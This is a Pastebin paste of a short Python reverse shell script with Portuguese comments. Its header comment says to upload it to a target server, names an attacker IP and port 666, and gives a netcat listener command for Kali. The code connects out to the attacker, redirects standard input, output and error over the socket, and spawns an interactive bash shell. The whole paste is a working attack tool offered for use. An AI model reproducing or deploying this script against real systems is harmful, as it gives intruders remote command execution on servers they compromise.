DarkProgrammer000

Shell Reversa [ip, porta]

Aug 3rd, 2021
763
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. """
  2. Programa: Shell reversa
  3. Obs(1): Upar no servidor para se obter uma shell reversa
  4.  
  5. Obs(2):
  6. # HACKER
  7. 1) IP: 192.168.0.107
  8. 2) Porta: 666
  9.  
  10. Obs(3)
  11. Kali: nc -lvp 666
  12. """
  13.  
  14. # Bibliotecas
  15. import os
  16. import pty
  17. import socket
  18.  
  19. # Entrada de dados
  20. ip = input("- IP: ")
  21. porta = int(input("- Porta: "))
  22.  
  23. # Criando conexao
  24. cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  25.  
  26. # Conectando
  27. cliente.connect((ip, porta))
  28.  
  29. # Saida de erro 1, 2, 3 dentro da propria conexao
  30. for fd in (0, 1, 2):
  31.     os.dup2(cliente.fileno(), fd)
  32.  
  33. # Shell TTY
  34. pty.spawn('/bin/bash')
RAW Paste Data